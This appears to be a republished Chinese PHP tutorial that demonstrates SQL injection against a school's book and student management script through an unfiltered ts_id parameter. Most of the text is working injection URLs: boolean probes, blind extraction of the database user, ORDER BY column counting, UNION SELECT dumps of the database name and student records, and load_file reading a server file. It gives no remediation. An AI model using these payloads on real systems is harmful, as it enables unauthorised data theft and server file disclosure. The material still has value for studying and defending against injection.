a href="004.php?ts_id=?php echo $array[ts_id];?>">img src="./images/"/> a href="004.php?ts_id=?php echo $array[ts_id];?>">img src="./images/">

Home  >  Article  >  Backend Development  >  简单PHP注入演示_PHP

简单PHP注入演示_PHP

WBOY
WBOYOriginal
2016-06-01 12:25:361133browse

学校的一个外聘老师写的程序,图书+学生管理系统,文件名001.php,002.php,003.php......(B名起的)问题出在004.php第多少行我也忘了,

简单PHP注入演示_PHP 书名:

注意这句,ts_id没有任何过滤,赤裸裸的等我们虐待,HOO~(虽然我知道数据库的一切信息,但是这里我还是要黑箱测试)

LET'S GO~
http://localhost/zhd/004.php?ts_id=1 and 1=1 正常
http://localhost/zhd/004.php?ts_id=1 and 1=2 异常
白痴注入

判断数据库:
提交http://localhost/zhd/004.php?ts_id=1/*fenggou
正常返回,说明数据库支持/*注释,什么数据库支持/*呢?MYSQL!

读取用户名:
提交http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=114/*
正常返回,user()是MYSQL的内置函数,用来查看用户,这里是查看个用户名的第一个字符,没错114是ACCSLL中的"r",我是root连接,所以语句为真(这招贱心教我滴)但是如果用户名是rijnc的话我不是被骗了?所以在提交
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=111/* o
http://localhost/zhd/004.php?ts_id=1 and ord(mid(user(),1,1))=116/* t
但是如果密码是rootrijnc,那我无语…

判断字段数:
提交http://localhost/zhd/004.php?ts_id=1 order by 10/*
失败,说明字段数小于10,一直试到7语句成立,一共是7个字段了,对我们以后的联合查询带来极大方便,有个小技巧,先5,在10,在15,依次一点点缩小范围

联合查询:
知道了字段数直接提交http://localhost/zhd/004.php?ts_id=1 union select 1,2,3,4,5,6,7/*
正常返回,说明支持union,把语句改改,用and 1=2让他显示错误,嘿嘿~~~

提交http://localhost/zhd/004.php?ts_id=1 and 1=2 union select 1,2,3,4,5,6,7/*
成功了!

提交http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,database(),3,4,5,6,7/*
在第二个字段书名也就是"2"的地方显示db1,没错,这个程序数据库名就是db1

我所知道有用的MYSQL函数sexxion_user()、current_user(),user(),system_user(),database(),version(),load_file()这个要root的,不过很好用,可以读任意文件并显示。
我是root连接,可以直接这样,但是值得注意的是magic_quotes_gpc = off的时候load_file('c:\boot.ini')才成立,on的时候用16进制来提交
http://localhost/zhd/004.php?ts_id=-1%20union%20select%201,2,3,4,load_file(0x633a2f626f6f742e696e69),6,7/

暴露了服务器的信息,还可以读别的,发挥自己的想象力吧,我要保护我的脑细胞...

获得表名:
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from books/*
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from student/*

正常返回,说明存在books和student这两个表(???木有admin啊!!!)MYSQL注入就是这样表名要猜,不想MSSQL能暴,麻痹的!还有还有,不要以为联合查询只能用自带函数,它是可以直接读出字段内容的,比如这个表:

http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,3,4,5,6,7 from student/*

2 3 5 7的位置可以用来读,(为什么?地方大呗,要是char(2)你能显示什么??)

http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,sno,sname,4,sex,6,7 from student/*


全看到了,虽然不是密码,呵呵,但原理是一样的(前提是要知道字段名称的,哎,麻烦,在BS下)

还可以这样
http://localhost/zhd/004.php?ts_id=1%20and%201=2%20union%20select%201,2,sname,4,sex,6,7 from student where sno=2/*

和MSSQL注入差不多的,OVER。
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn